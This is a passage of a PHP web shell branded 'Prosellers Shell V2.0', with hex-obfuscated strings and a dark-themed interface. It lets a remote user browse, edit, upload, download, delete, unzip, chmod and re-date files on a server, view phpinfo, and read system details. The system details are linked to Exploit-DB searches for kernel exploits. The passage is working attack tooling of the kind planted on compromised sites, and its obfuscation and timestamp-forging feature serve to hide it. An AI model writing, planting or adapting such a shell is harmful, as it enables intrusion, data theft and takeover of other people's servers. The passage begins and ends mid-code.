e\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x36\x22\x20\x79\x31\x3d\x22\x31\x38\x22\x20\x78\x32\x3d\x22\x36\x2e\x30\x31\x22\x20\x79\x32\x3d\x22\x31\x38\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x61\x72\x63\x68\x69\x76\x65" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x32\x31\x20\x38\x20\x32\x31\x20\x32\x31\x20\x33\x20\x32\x31\x20\x33\x20\x38\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x72\x65\x63\x74\x20\x78\x3d\x22\x31\x22\x20\x79\x3d\x22\x33\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x32\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x35\x22\x3e\x3c\x2f\x72\x65\x63\x74\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x31\x30\x22\x20\x79\x31\x3d\x22\x31\x32\x22\x20\x78\x32\x3d\x22\x31\x34\x22\x20\x79\x32\x3d\x22\x31\x32\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x63\x6c\x6f\x63\x6b" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x63\x69\x72\x63\x6c\x65\x20\x63\x78\x3d\x22\x31\x32\x22\x20\x63\x79\x3d\x22\x31\x32\x22\x20\x72\x3d\x22\x31\x30\x22\x3e\x3c\x2f\x63\x69\x72\x63\x6c\x65\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x31\x32\x20\x36\x20\x31\x32\x20\x31\x32\x20\x31\x36\x20\x31\x34\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x6c\x6f\x63\x6b" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x72\x65\x63\x74\x20\x78\x3d\x22\x33\x22\x20\x79\x3d\x22\x31\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x31\x22\x20\x72\x78\x3d\x22\x32\x22\x20\x72\x79\x3d\x22\x32\x22\x3e\x3c\x2f\x72\x65\x63\x74\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x37\x20\x31\x31\x56\x37\x61\x35\x20\x35\x20\x30\x20\x30\x20\x31\x20\x31\x30\x20\x30\x76\x34\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x2f\x73\x76\x67\x3e", "\x6d\x65\x6e\x75" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x34\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x34\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x33\x22\x20\x79\x31\x3d\x22\x31\x32\x22\x20\x78\x32\x3d\x22\x32\x31\x22\x20\x79\x32\x3d\x22\x31\x32\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x33\x22\x20\x79\x31\x3d\x22\x36\x22\x20\x78\x32\x3d\x22\x32\x31\x22\x20\x79\x32\x3d\x22\x36\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x33\x22\x20\x79\x31\x3d\x22\x31\x38\x22\x20\x78\x32\x3d\x22\x32\x31\x22\x20\x79\x32\x3d\x22\x31\x38\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e" ]; return $icons[$name] ?? ""; } $serverInfo = null; if (isset($_GET["\x76\x69\x65\x77"]) && $_GET["\x76\x69\x65\x77"] === "\x73\x65\x72\x76\x65\x72\x5f\x69\x6e\x66\x6f") { $hddTotal = @disk_total_space($rootPath); $hddFree = @disk_free_space($rootPath); $hddTotalGB = $hddTotal ? round($hddTotal / (1024*1024*1024), 2) : 0; $hddFreeGB = $hddFree ? round($hddFree / (1024*1024*1024), 2) : 0; $hddPercent = $hddTotalGB > 0 ? round(($hddFreeGB/$hddTotalGB)*100, 2) : 0; $serverInfo = [ "\x55\x6e\x61\x6d\x65" => php_uname(), "\x55\x73\x65\x72" => get_current_user() . "\x20\x28" . getmyuid() . "\x29\x20\x47\x72\x6f\x75\x70\x3a\x20" . get_current_user() . "\x20\x28" . getmygid() . "\x29", "\x50\x68\x70" => phpversion() . "\x20\x53\x61\x66\x65\x20\x6d\x6f\x64\x65\x3a\x20" . (ini_get("\x73\x61\x66\x65\x5f\x6d\x6f\x64\x65") ? "\x4f\x4e" : "\x4f\x46\x46"), "\x48\x64\x64" => "$hddTotalGB GB Free: $hddFreeGB GB ($hddPercent%)", "\x53\x6f\x66\x74\x77\x61\x72\x65" => $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"] ?? "\x55\x6e\x6b\x6e\x6f\x77\x6e" ]; } if (isset($_GET["\x61\x63\x74\x69\x6f\x6e"]) && $_GET["\x61\x63\x74\x69\x6f\x6e"] === "\x70\x68\x70\x69\x6e\x66\x6f") { phpinfo(); exit; } if (isset($_POST["\x63\x72\x65\x61\x74\x65"], $_POST["\x6e\x61\x6d\x65"])) { $newPath = $currentPath . "\x2f" . basename($_POST["\x6e\x61\x6d\x65"]); if (!file_exists($newPath)) { if ($_POST["\x63\x72\x65\x61\x74\x65"] === "\x66\x6f\x6c\x64\x65\x72") mkdir($newPath, 0755); else file_put_contents($newPath, ""); header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath) . "\x26\x6d\x73\x67\x3d\x63\x72\x65\x61\x74\x65\x64"); exit; } } if (isset($_POST["\x63\x6f\x6e\x74\x65\x6e\x74"], $_POST["\x66\x69\x6c\x65"])) { $file = realpath($_POST["\x66\x69\x6c\x65"]); if ($file && is_writable($file)) { file_put_contents($file, $_POST["\x63\x6f\x6e\x74\x65\x6e\x74"]); header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath) . "\x26\x6d\x73\x67\x3d\x73\x61\x76\x65\x64"); exit; } } if (isset($_POST["\x75\x70\x6c\x6f\x61\x64"]) && isset($_FILES["\x75\x70\x6c\x6f\x61\x64\x73"])) { foreach ($_FILES["\x75\x70\x6c\x6f\x61\x64\x73"]["\x74\x6d\x70\x5f\x6e\x61\x6d\x65"] as $key => $tmp_name) { $name = basename($_FILES["\x75\x70\x6c\x6f\x61\x64\x73"]["\x6e\x61\x6d\x65"][$key]); move_uploaded_file($tmp_name, $currentPath . "\x2f" . $name); } header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath) . "\x26\x6d\x73\x67\x3d\x75\x70\x6c\x6f\x61\x64\x65\x64"); exit; } if (isset($_POST["\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\x61\x63\x74\x69\x6f\x6e"] === "\x72\x65\x6e\x61\x6d\x65" && isset($_POST["\x6f\x6c\x64\x6e\x61\x6d\x65"], $_POST["\x6e\x65\x77\x6e\x61\x6d\x65"])) { $old = realpath($currentPath . "\x2f" . $_POST["\x6f\x6c\x64\x6e\x61\x6d\x65"]); $new = $currentPath . "\x2f" . basename($_POST["\x6e\x65\x77\x6e\x61\x6d\x65"]); if ($old && $old !== $new) { rename($old, $new); header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath)); exit; } } if ($_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\x4d\x45\x54\x48\x4f\x44"] === "\x50\x4f\x53\x54" && isset($_POST["\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\x61\x63\x74\x69\x6f\x6e"] === "\x64\x65\x6c\x65\x74\x65") { $selected = $_POST["\x73\x65\x6c\x65\x63\x74\x65\x64\x5f\x66\x69\x6c\x65\x73"] ?? []; foreach ($selected as $f) { $target = realpath($currentPath . DIRECTORY_SEPARATOR . $f); if (!$target) continue; if (is_file($target)) @unlink($target); elseif (is_dir($target)) @rmdir($target); } header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath) . "\x26\x6d\x73\x67\x3d\x64\x65\x6c\x65\x74\x65\x64"); exit; } if (isset($_GET["\x64\x6f\x77\x6e\x6c\x6f\x61\x64"])) { $file = realpath($_GET["\x64\x6f\x77\x6e\x6c\x6f\x61\x64"]); if ($file && is_file($file)) { header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x3a\x20\x46\x69\x6c\x65\x20\x54\x72\x61\x6e\x73\x66\x65\x72"); header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d"); header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x20\x61\x74\x74\x61\x63\x68\x6d\x65\x6e\x74\x3b\x20\x66\x69\x6c\x65\x6e\x61\x6d\x65\x3d\x22".basename($file)."\x22"); header("\x45\x78\x70\x69\x72\x65\x73\x3a\x20\x30"); header("\x43\x61\x63\x68\x65\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x3a\x20\x6d\x75\x73\x74\x2d\x72\x65\x76\x61\x6c\x69\x64\x61\x74\x65"); header("\x50\x72\x61\x67\x6d\x61\x3a\x20\x70\x75\x62\x6c\x69\x63"); header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20" . filesize($file)); readfile($file); exit; } } if (isset($_POST["\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\x61\x63\x74\x69\x6f\x6e"] === "\x75\x6e\x7a\x69\x70" && isset($_POST["\x66\x69\x6c\x65"])) { $zipFile = realpath($currentPath . "\x2f" . $_POST["\x66\x69\x6c\x65"]); if ($zipFile && is_file($zipFile) && extension_loaded("\x7a\x69\x70")) { $zip = new ZipArchive; if ($zip->open($zipFile) === TRUE) { $zip->extractTo($currentPath); $zip->close(); header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath) . "\x26\x6d\x73\x67\x3d\x75\x6e\x7a\x69\x70\x70\x65\x64"); exit; } else { echo "<script>alert('Failed to open zip file');</script>"; } } } if (isset($_POST["\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\x61\x63\x74\x69\x6f\x6e"] === "\x74\x6f\x75\x63\x68" && isset($_POST["\x66\x69\x6c\x65"], $_POST["\x64\x61\x74\x65\x74\x69\x6d\x65"])) { $target = realpath($currentPath . "\x2f" . $_POST["\x66\x69\x6c\x65"]); $time = strtotime($_POST["\x64\x61\x74\x65\x74\x69\x6d\x65"]); if ($target && $time) { if (@touch($target, $time)) { header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath) . "\x26\x6d\x73\x67\x3d\x64\x61\x74\x65\x5f\x63\x68\x61\x6e\x67\x65\x64"); exit; } else { echo "<script>alert('Failed to change date');</script>"; } } } if (isset($_POST["\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\x61\x63\x74\x69\x6f\x6e"] === "\x63\x68\x6d\x6f\x64" && isset($_POST["\x66\x69\x6c\x65"], $_POST["\x70\x65\x72\x6d\x73"])) { $target = realpath($currentPath . "\x2f" . $_POST["\x66\x69\x6c\x65"]); $perms = intval($_POST["\x70\x65\x72\x6d\x73"], 8); if ($target && $perms) { if (@chmod($target, $perms)) { header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x61\x74\x68\x3d" . urlencode($currentPath) . "\x26\x6d\x73\x67\x3d\x70\x65\x72\x6d\x73\x5f\x63\x68\x61\x6e\x67\x65\x64"); exit; } else { echo "<script>alert('Failed to change permissions');</script>"; } } } $isEditMode = isset($_GET["\x65\x64\x69\x74"]) && is_file($_GET["\x65\x64\x69\x74"]); $editFile = $isEditMode ? realpath($_GET["\x65\x64\x69\x74"]) : null; $editContent = $editFile ? htmlspecialchars(file_get_contents($editFile)) : ""; $files = []; if (is_dir($currentPath)) { $raw = @scandir($currentPath); if ($raw) { foreach ($raw as $item) { if ($item === "\x2e") continue; $path = $currentPath . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($path); $files[] = [ "\x6e\x61\x6d\x65" => $item, "\x70\x61\x74\x68" => $path, "\x74\x79\x70\x65" => $isDir ? "\x64\x69\x72" : "\x66\x69\x6c\x65", "\x73\x69\x7a\x65" => $isDir ? "\x2d" : (is_readable($path) ? round(filesize($path)/1024, 2)."\x20\x4b\x42" : "\x3f\x3f\x3f"), "\x70\x65\x72\x6d\x73" => ($p = @fileperms($path)) ? substr(sprintf("\x25\x6f", $p), -4) : "\x3f\x3f\x3f\x3f", "\x6d\x74\x69\x6d\x65" => @filemtime($path) ?: 0 ]; } } } ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Prosellers Shell V2.0</title>
    <style>
        :root {
            --bg-body: #0f1115;
            --bg-sidebar: #161b22;
            --bg-card: #1f2937;
            --bg-hover: #374151;
            --text-main: #f3f4f6;
            --text-muted: #9ca3af;
            --accent: #10b981;
            --accent-hover: #059669;
            --danger: #ef4444;
            --border: #374151;
        }
        * { box-sizing: border-box; outline: none; }
        body { margin: 0; font-family: 'Inter', system-ui, -apple-system, sans-serif; background: var(--bg-body); color: var(--text-main); font-size: 14px; display: flex; height: 100vh; overflow: hidden; }
        a { text-decoration: none; color: inherit; transition: 0.2s; }
        
        /* Sidebar */
        .sidebar { width: 250px; background: var(--bg-sidebar); border-right: 1px solid var(--border); display: flex; flex-direction: column; padding: 20px; flex-shrink: 0; }
        .brand { font-size: 18px; font-weight: bold; color: var(--accent); margin-bottom: 30px; display: flex; align-items: center; gap: 10px; }
        .nav-link { display: flex; align-items: center; gap: 10px; padding: 12px; border-radius: 8px; color: var(--text-muted); margin-bottom: 5px; }
        .nav-link:hover, .nav-link.active { background: var(--bg-card); color: var(--text-main); }
        .nav-link svg { opacity: 0.8; }
        
        /* Main Content */
        .main { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
        .header { height: 60px; border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; padding: 0 20px; background: var(--bg-sidebar); }
        .breadcrumbs { display: flex; align-items: center; gap: 8px; color: var(--text-muted); overflow: hidden; white-space: nowrap; }
        .breadcrumbs a:hover { color: var(--accent); }
        .breadcrumb-sep { opacity: 0.4; }
        
        .toolbar { padding: 20px; display: flex; gap: 10px; align-items: center; flex-wrap: wrap; }
        .btn { border: none; padding: 8px 16px; border-radius: 6px; font-weight: 500; cursor: pointer; display: inline-flex; align-items: center; gap: 8px; font-size: 13px; transition: 0.2s; }
        .btn-primary { background: var(--accent); color: white; }
        .btn-primary:hover { background: var(--accent-hover); }
        .btn-secondary { background: var(--bg-card); color: var(--text-main); border: 1px solid var(--border); }
        .btn-secondary:hover { background: var(--bg-hover); }
        .btn-danger { background: rgba(239, 68, 68, 0.1); color: var(--danger); border: 1px solid transparent; }
        .btn-danger:hover { background: rgba(239, 68, 68, 0.2); }
        
        /* File List */
        .content-area { flex: 1; overflow-y: auto; padding: 0 20px 20px 20px; }
        .file-table { width: 100%; border-collapse: collapse; }
        .file-table th { text-align: left; padding: 12px; color: var(--text-muted); font-weight: 500; border-bottom: 1px solid var(--border); position: sticky; top: 0; background: var(--bg-body); z-index: 10; }
        .file-table td { padding: 12px; border-bottom: 1px solid var(--border); color: var(--text-main); }
        .file-table tr:hover { background: rgba(255,255,255,0.02); }
        .file-icon { color: var(--accent); display: flex; align-items: center; }
        .file-icon.file { color: var(--text-muted); }
        .name-cell { display: flex; align-items: center; gap: 10px; font-weight: 500; }
        
        /* Forms & Inputs */
        input[type="text"], textarea { background: var(--bg-card); border: 1px solid var(--border); color: var(--text-main); padding: 8px 12px; border-radius: 6px; width: 100%; }
        input:focus, textarea:focus { border-color: var(--accent); }
        .modal-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.7); display: none; align-items: center; justify-content: center; z-index: 100; backdrop-filter: blur(2px); }
        .modal { background: var(--bg-sidebar); padding: 25px; border-radius: 12px; width: 400px; max-width: 90%; border: 1px solid var(--border); box-shadow: 0 10px 25px rgba(0,0,0,0.5); }
        .modal h3 { margin-top: 0; color: var(--text-main); }
        
        /* Utilities */
        .badge { padding: 4px 8px; border-radius: 4px; background: var(--bg-card); font-size: 11px; }
        .actions { display: flex; gap: 8px; }
        .icon-btn { padding: 6px; border-radius: 4px; color: var(--text-muted); cursor: pointer; border: none; background: transparent; }
        .icon-btn:hover { background: var(--bg-hover); color: var(--text-main); }
        
        /* Editor */
        .editor-container { height: 100%; display: flex; flex-direction: column; }
        .editor-textarea { flex: 1; font-family: 'Menlo', 'Monaco', 'Courier New', monospace; font-size: 13px; line-height: 1.5; resize: none; border: 1px solid var(--border); background: #0d1117; color: #c9d1d9; padding: 15px; }

        /* Mobile Responsiveness */
        #menu-btn { display: none; background: none; border: none; color: var(--text-primary); cursor: pointer; margin-bottom: 20px; }
        .mobile-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.5); z-index: 900; display: none; }
        
        @media (max-width: 768px) {
            body { font-size: 13px; }
            #menu-btn { display: block; }
            .sidebar { position: fixed; left: -260px; top: 0; bottom: 0; width: 260px; z-index: 1000; transition: left 0.3s ease; box-shadow: 2px 0 10px rgba(0,0,0,0.5); border-right: 1px solid var(--border); }
            .sidebar.open { left: 0; }
            .mobile-overlay.open { display: block; }
            .main { padding: 10px; width: 100%; }
            .table-container { overflow-x: auto; }
            table { min-width: 500px; }
            .modal { width: 95%; padding: 15px; }
            .toolbar { flex-wrap: nowrap; gap: 5px; overflow-x: auto; padding-bottom: 5px; }
            .toolbar button { padding: 6px 8px; font-size: 12px; white-space: nowrap; flex: 0 0 auto; }
            .toolbar div[style*="flex:1"] { display: none; } 
            
            /* Header Mobile */
            .header { padding: 0 10px; gap: 10px; }
            .breadcrumbs { flex: 1; overflow-x: auto; font-size: 12px; margin: 0; min-width: 0; -webkit-overflow-scrolling: touch; }
            .breadcrumbs > * { flex-shrink: 0; }
            .badge { font-size: 10px; padding: 4px 6px; white-space: nowrap; }
        }
    </style>
</head>
<body>

<div class="mobile-overlay" onclick="toggleSidebar()"></div>

<!-- SIDEBAR -->
<div class="sidebar">
    <div class="brand">
        <?= icon("\x74\x65\x72\x6d\x69\x6e\x61\x6c") ?>
        <span>ProShell v2.0</span>
    </div>
    <a href="?path=<?= urlencode($rootPath) ?>" class="nav-link <?= !isset($_GET["\x76\x69\x65\x77"]) && !isset($_GET["\x65\x64\x69\x74"]) ? "\x61\x63\x74\x69\x76\x65" : "" ?>">
        <?= icon("\x68\x6f\x6d\x65") ?> Dashboard
    </a>
    <a href="?view=server_info" class="nav-link <?= isset($_GET["\x76\x69\x65\x77"]) && $_GET["\x76\x69\x65\x77"] === "\x73\x65\x72\x76\x65\x72\x5f\x69\x6e\x66\x6f" ? "\x61\x63\x74\x69\x76\x65" : "" ?>">
        <?= icon("\x73\x65\x72\x76\x65\x72") ?> Server Info
    </a>
    <div style="margin-top:auto; font-size: 11px; color: var(--text-muted);">
        Server: <?= $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"] ?? "\x55\x6e\x6b\x6e\x6f\x77\x6e" ?><br>
        PHP: <?= phpversion() ?>
    </div>
</div>

<!-- MAIN CONTENT -->
<div class="main">
    
    <!-- TOP BAR -->
    <div class="header">
        <button id="menu-btn" onclick="toggleSidebar()"><?= icon("\x6d\x65\x6e\x75") ?></button>
        <div class="breadcrumbs">
            <?php $parts = explode(DIRECTORY_SEPARATOR, $currentPath); $builtPath = ""; foreach ($parts as $i => $part) { if ($part === "") continue; $builtPath .= DIRECTORY_SEPARATOR . $part; echo "\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x3f\x70\x61\x74\x68\x3d".urlencode($builtPath)."\x22\x3e".$part."\x3c\x2f\x61\x3e"; if ($i < count($parts) - 1) echo "\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\x72\x65\x61\x64\x63\x72\x75\x6d\x62\x2d\x73\x65\x70\x22\x3e".icon("\x63\x68\x65\x76\x72\x6f\x6e\x2d\x72\x69\x67\x68\x74")."\x3c\x2f\x73\x70\x61\x6e\x3e"; } if ($currentPath === DIRECTORY_SEPARATOR) echo "\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x3f\x70\x61\x74\x68\x3d\x25\x32\x46\x22\x3e\x2f\x3c\x2f\x61\x3e"; ?>
        </div>
        <div>
            <span class="badge"><?= date("\x59\x2d\x6d\x2d\x64\x20\x48\x3a\x69\x3a\x73") ?></span>
        </div>
    </div>

    <!-- CONTENT -->
    <div class="content-area">
        
        <?php if ($serverInfo): ?>
            <!-- SERVER INFO VIEW -->
            <div style="padding: 20px 0;">
                <h3 style="display:flex; align-items:center; gap:10px;"><?= icon("\x73\x65\x72\x76\x65\x72") ?> Server Information</h3>
                
                <div style="background: var(--bg-card); border-radius: 8px; border: 1px solid var(--border); overflow: hidden; font-family: monospace; font-size: 13px;">
                    <div style="padding: 15px; border-bottom: 1px solid var(--border);">
                        <div style="color: var(--text-muted); margin-bottom: 4px;">Uname:</div>
                        <div style="color: var(--accent);"><?= $serverInfo["\x55\x6e\x61\x6d\x65"] ?> 
                            <span style="color: var(--text-muted); margin-left:10px;">[ <a href="https://www.google.com/search?q=<?= urlencode($serverInfo["\x55\x6e\x61\x6d\x65"] . "\x20\x65\x78\x70\x6c\x6f\x69\x74") ?>" target="_blank" style="text-decoration: underline;">Google</a> ] [ <a href="https://www.exploit-db.com/search?q=<?= urlencode($serverInfo["\x55\x6e\x61\x6d\x65"]) ?>" target="_blank" style="text-decoration: underline;">Exploit-DB</a> ]</span>
                        </div>
                    </div>
                    
                    <div style="padding: 15px; border-bottom: 1px solid var(--border);">
                         <div style="color: var(--text-muted); margin-bottom: 4px;">User:</div>
                         <div><?= $serverInfo["\x55\x73\x65\x72"] ?></div>
                    </div>
                    
                    <div style="padding: 15px; border-bottom: 1px solid var(--border);">
                        <div style="color: var(--text-muted); margin-bottom: 4px;">Php:</div>
                        <div>
                            <?= $serverInfo["\x50\x68\x70"] ?> 
                            [ <a href="?action=phpinfo" target="_blank" style="color: var(--accent); text-decoration: underline;">phpinfo</a> ] 
                            Datetime: <?= date("\x59\x2d\x6d\x2d\x64\x20\x48\x3a\x69\x3a\x73") ?>
                        </div>
                    </div>
                    
                    <div style="padding: 15px;">
                        <div style="color: var(--text-muted); margin-bottom: 4px;">Hdd:</div>
                        <div style="display:flex; align-items:center; gap:15px;">
                            <span><?= $serverInfo["\x48\x64\x64"] ?></span>
                            <div style="flex:1; max-width: 200px; height: 6px; background: #374151; border-radius: 3px; overflow:hidden;">
                                <div style="height:100%; width: <?= floatval($serverInfo["\x48\x64\x64\x50\x65\x72\x63\x65\x6e\x74"] ?? 0) ?>%; background: var(--accent);"></div>
                            </div>
                        </div>
                    </div>
                </div>

                <div style="margin-top: 20px;">
                    <h4 style="color: var(--text-muted); margin-bottom: 10px;">Software</h4>
                    <div style="background: var(--bg-card); padding: 10px 15px; border-radius: 6px; border: 1px solid var(--border); font-family: monospace;">
                        <?= htmlspecialchars($serverInfo["\x53\x6f\x66\x74\x77\x61\x72\x65"]) ?>
                    </div>
                </div>

                <br>
                <a href="?path=<?= urlencode($currentPath) ?>" class="btn btn-secondary">Back to Files</a>
            </div>

        <?php elseif ($isEditMode): ?>
            <!-- EDITOR VIEW -->
            <form method="post" class="editor-container" style="padding: 20px 0; height: calc(100vh - 100px);">
                <div style="margin-bottom: 10px; display: flex; justify-content: space-between;">
                    <h3 style="margin:0;">Editing: <?= basename($editFile) ?></h3>
                    <div class="actions">
                        <a href="?path=<?= urlencode(dirname($editFile)) ?>" class="btn btn-secondary">Cancel</a>
                        <button type="submit" class="btn btn-primary">Save Changes</button>
                    </div>
                </div>
                <input type="hidden" name="file" value="<?= p($editFile) ?>">
                <textarea name="content" class="editor-textarea"><?= $editContent ?></textarea>
            </form>

        <?php else: ?>
            <!-- FILE MANAGER VIEW -->
            
            <!-- TOOLBAR -->
